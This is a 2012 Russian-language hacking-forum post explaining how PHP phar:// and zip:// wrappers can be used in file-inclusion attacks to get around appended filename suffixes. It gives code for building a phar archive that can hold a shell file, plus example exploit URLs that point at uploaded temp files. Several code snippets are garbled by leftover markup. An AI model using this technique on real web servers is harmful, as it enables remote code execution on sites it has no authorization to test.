HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Кухня
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 18.06.2012, 14:55
nikp
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме:
835386

Репутация: 1463
По умолчанию

Небольшое добавление к технике инклудов.

Начиная с PHP версии 5.3.4 стало проблемно работать с инклудами, у которых присутствует "хвост".

С другой стороны, в линейке 5.3, появилась штатная поддержка архивов phar.

В случае RFI, появилась возможность не отрезать лишний хвост, а спрятать его внутри архива.

Пример:

in2.php

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
Создадим архив phar с файлом bla.gif

для создания нужно в php.ini установить: phar.readonly = Off

PHP код:
PHP:
[
COLOR="#000000"]//создадим архив in.phar

$p = new Phar('in.phar');

$p->setStub('[COLOR="#0000BB"][/COLOR]');

$p['bla.gif'] = '[COLOR="#0000BB"][/COLOR]';

//или

//$p['bla.gif'] = file_get_contents('shell.php');

[/COLOR
Инклудим

http://localhost/in.php?pic=phar://in.phar/bla

Это может быть и zip или tar архив, конвертнем

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]$p[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$p[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]convertToExecutable[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]Phar[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]ZIP[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR
Инклудим

http://localhost/in.php?pic=phar://in.phar.zip/bla

Хвост может быть длинным, тогда в каталоге arc создаем нужную структуру файлов, например /tmp/arc/Bla/bla2/file.ext

и добавляем в архив

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]//вторым параметром можно указать регулярку для отбора файлов

//каталоги и файлы в архиве - чувствительны к регистру (даже для винды)

[/COLOR][COLOR="#0000BB"]$p[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]buildFromDirectory[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/tmp/arc/'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'/.*/'[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR
для родного формата phar, расширение не обязательно, или любое.

Для zip обязательна подстрока .zip (bla.zip, bla.zip.php и т.д.)

После аплоада получаются файлы без расширения, типа phpKuAoU3

Инклудим

Код:
Code:
http://localhost/in.php?pic=phar:///tmp/phpKuAoU3/bla
Можно грузить zip архив и использовать обертку zip:// (почти везде установлена, поддерживается много раньше phar://)

Код:
Code:
http://localhost/in.php?pic=zip:///tmp/phpKuAoU3%23bla
Способ не зависит от настроек

allow_url_fopen

allow_url_include

magic_quotes_gpc

а зависимостей две

- можем влиять на начало строки инклуда

- можем приготовить файл произвольного содержания, имя не важно.

Про zip:// подробнее можно посмотреть у Алексея Москвина (Positive Technologies).

PS

К архиву in.phar можно обратиться

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]include([/COLOR][COLOR="#DD0000"]'phar://in.phar'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#FF8000"]//или напрямую

[/COLOR][COLOR="#007700"]include([/COLOR][COLOR="#DD0000"]'in.phar'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#FF8000"]//а вот к файлу внутри архива, только через обертку

[/COLOR][COLOR="#007700"]include([/COLOR][COLOR="#DD0000"]'phar://in.phar/bla.gif'[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR
Если найдется способ прямого обращения к файлу архива, будет решена проблема хвоста и в LFI.
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ